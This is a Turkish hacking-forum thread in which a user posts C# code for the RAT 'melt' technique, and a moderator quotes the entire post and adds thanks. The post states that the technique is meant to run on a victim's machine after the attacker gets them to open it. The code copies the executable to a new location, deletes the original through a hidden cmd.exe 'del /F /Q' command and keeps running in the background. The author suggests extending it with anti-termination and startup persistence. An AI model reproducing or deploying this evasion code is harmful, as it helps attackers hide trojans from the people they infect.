Hoşgeldin Misafir

C# Melt - Eritme Kodu

xS0N3R

23 Ağu 2020
5,424 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Herkese hayırlı akşamlar arkadaşlar. Bildiğiniz üzere yıllardır RAT 'ların meşhur özelliği olan İngilizce melt Türkçe anlamı eritme yöntemini bilirsinizdir, bahsi geçen yöntem sayesinde server uygulaması kurbana saldırgan tarafından açtırıldıktan sonra sahte bir hata mesajı verdirilip uygulama kendini başka bir dizine kopyalar & bulunduğu dizinden kendisini silerek arka planda çalışmaya devam eder. Bunun Visual Basic 6 mantığını ele alarak C# diline uyarladım. Uygulamamızın çalışıp çalışmadığını test etmek adına Load olayına mesaj kutusu koydum. Burada vereceğim kodlar en basit & en temel halidir. Siz bu kodları geliştirip özellik eklersiniz mesela görev yöneticisi üzerinden kapatma engeli, başlangıca ekleme vs. kodlamaya başlamadan önce standart bir form oluşturun & Program.cs dosyası ile Form1.cs kütüphaneleriniz aşağıdaki şekildeki gibi olacak;

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Threading.Tasks;
using System.Xml.Linq;
using System.Threading;

Daha sonra Program.cs kodlarımızı girelim. Bu kısımda Masaüstüne mavinehir.exe adında kendini kopyalıyor & komut istemi kullanarak bir önceki dizinden kendisini siliyor. Arka planda ise çalışmaya devam ediyor. Tabi ki siz burada temp klasörü gibi yerlere yazdırmanızı öneririm zira C diskinde yazma izini problemleri çıkabilir.
C#:
 public static bool DrinkyMelt(string datos)
 {
     string appPath = AppDomain.CurrentDomain.BaseDirectory;
     string exePath = Process.GetCurrentProcess().MainModule.FileName;
     string exeName = Path.GetFileName(exePath);

     string winDir = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
     string targetPath = Path.Combine(winDir, "mavinehir.exe");

     if (appPath.TrimEnd('\\') == winDir.TrimEnd('\\'))
     {
         if (!string.IsNullOrEmpty(exeName) && File.Exists(exePath))
         {
             try
             {
                 Process.Start(new ProcessStartInfo()
                 {
                     FileName = "cmd.exe",
                     Arguments = $"/C timeout /T 1 & del /F /Q \"{exePath}\"",
                     WindowStyle = ProcessWindowStyle.Hidden,
                     CreateNoWindow = true
                 });

                 Console.WriteLine("Geçici dosya silinmesi için işlem başlatıldı.");
             }
             catch (Exception ex)
             {
                 Console.WriteLine($"Dosya silme hatası: {ex.Message}");
             }
         }
     }
     else
     {
         try
         {
             if (File.Exists(targetPath))
             {
                 File.Delete(targetPath);
             }

             File.Copy(exePath, targetPath, true);

             Process process = Process.Start(targetPath);
             if (process == null)
             {
                 MessageBox.Show("Yeni süreç başlatılamadı.");
                 return false;
             }

             // Kendini kapatmadan önce silme işlemini başlat
             Process.Start(new ProcessStartInfo()
             {
                 FileName = "cmd.exe",
                 Arguments = $"/C timeout /T 1 & del /F /Q \"{exePath}\"",
                 WindowStyle = ProcessWindowStyle.Hidden,
                 CreateNoWindow = true
             });

             Environment.Exit(0);
         }
         catch (Exception ex)
         {
             Console.WriteLine($"Dosya kopyalama hatası: {ex.Message}");
             return false;
         }
     }

     return true;
 }

 [STAThread]
 static void Main(string[] args)
 {
     Application.EnableVisualStyles();
     Application.SetCompatibleTextRenderingDefault(false);

     string commandLine = args.Length > 0 ? string.Join(" ", args) : "";

     bool shouldContinue = DrinkyMelt(commandLine);
     if (shouldContinue)
     {
      Application.Run(new Form1());
     }
 }


f7pi7ml.PNG



Evet Form1 GUI 'si açıldı ardından Debug klasöründen kendini silerek masaüstüne kendini kopyaladı. Ayrıca arka planda ikinci bir çalışan melt.exe şeklinde bir program yok zaten öyle olsa hata verirdi
 

Graves

Graves

Karanlık Özgürlüktür
Moderator
9 Eki 2024
10,450 Mesaj
TIM Görevleri
2

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Herkese hayırlı akşamlar arkadaşlar. Bildiğiniz üzere yıllardır RAT 'ların meşhur özelliği olan İngilizce melt Türkçe anlamı eritme yöntemini bilirsinizdir, bahsi geçen yöntem sayesinde server uygulaması kurbana saldırgan tarafından açtırıldıktan sonra sahte bir hata mesajı verdirilip uygulama kendini başka bir dizine kopyalar & bulunduğu dizinden kendisini silerek arka planda çalışmaya devam eder. Bunun Visual Basic 6 mantığını ele alarak C# diline uyarladım. Uygulamamızın çalışıp çalışmadığını test etmek adına Load olayına mesaj kutusu koydum. Burada vereceğim kodlar en basit & en temel halidir. Siz bu kodları geliştirip özellik eklersiniz mesela görev yöneticisi üzerinden kapatma engeli, başlangıca ekleme vs. kodlamaya başlamadan önce standart bir form oluşturun & Program.cs dosyası ile Form1.cs kütüphaneleriniz aşağıdaki şekildeki gibi olacak;

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Threading.Tasks;
using System.Xml.Linq;
using System.Threading;

Daha sonra Program.cs kodlarımızı girelim. Bu kısımda Masaüstüne mavinehir.exe adında kendini kopyalıyor & komut istemi kullanarak bir önceki dizinden kendisini siliyor. Arka planda ise çalışmaya devam ediyor. Tabi ki siz burada temp klasörü gibi yerlere yazdırmanızı öneririm zira C diskinde yazma izini problemleri çıkabilir.
C#:
 public static bool DrinkyMelt(string datos)
 {
     string appPath = AppDomain.CurrentDomain.BaseDirectory;
     string exePath = Process.GetCurrentProcess().MainModule.FileName;
     string exeName = Path.GetFileName(exePath);

     string winDir = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
     string targetPath = Path.Combine(winDir, "mavinehir.exe");

     if (appPath.TrimEnd('\\') == winDir.TrimEnd('\\'))
     {
         if (!string.IsNullOrEmpty(exeName) && File.Exists(exePath))
         {
             try
             {
                 Process.Start(new ProcessStartInfo()
                 {
                     FileName = "cmd.exe",
                     Arguments = $"/C timeout /T 1 & del /F /Q \"{exePath}\"",
                     WindowStyle = ProcessWindowStyle.Hidden,
                     CreateNoWindow = true
                 });

                 Console.WriteLine("Geçici dosya silinmesi için işlem başlatıldı.");
             }
             catch (Exception ex)
             {
                 Console.WriteLine($"Dosya silme hatası: {ex.Message}");
             }
         }
     }
     else
     {
         try
         {
             if (File.Exists(targetPath))
             {
                 File.Delete(targetPath);
             }

             File.Copy(exePath, targetPath, true);

             Process process = Process.Start(targetPath);
             if (process == null)
             {
                 MessageBox.Show("Yeni süreç başlatılamadı.");
                 return false;
             }

             // Kendini kapatmadan önce silme işlemini başlat
             Process.Start(new ProcessStartInfo()
             {
                 FileName = "cmd.exe",
                 Arguments = $"/C timeout /T 1 & del /F /Q \"{exePath}\"",
                 WindowStyle = ProcessWindowStyle.Hidden,
                 CreateNoWindow = true
             });

             Environment.Exit(0);
         }
         catch (Exception ex)
         {
             Console.WriteLine($"Dosya kopyalama hatası: {ex.Message}");
             return false;
         }
     }

     return true;
 }

 [STAThread]
 static void Main(string[] args)
 {
     Application.EnableVisualStyles();
     Application.SetCompatibleTextRenderingDefault(false);

     string commandLine = args.Length > 0 ? string.Join(" ", args) : "";

     bool shouldContinue = DrinkyMelt(commandLine);
     if (shouldContinue)
     {
      Application.Run(new Form1());
     }
 }


f7pi7ml.PNG



Evet Form1 GUI 'si açıldı ardından Debug klasöründen kendini silerek masaüstüne kendini kopyaladı. Ayrıca arka planda ikinci bir çalışan melt.exe şeklinde bir program yok zaten öyle olsa hata verirdi
Teşekkürler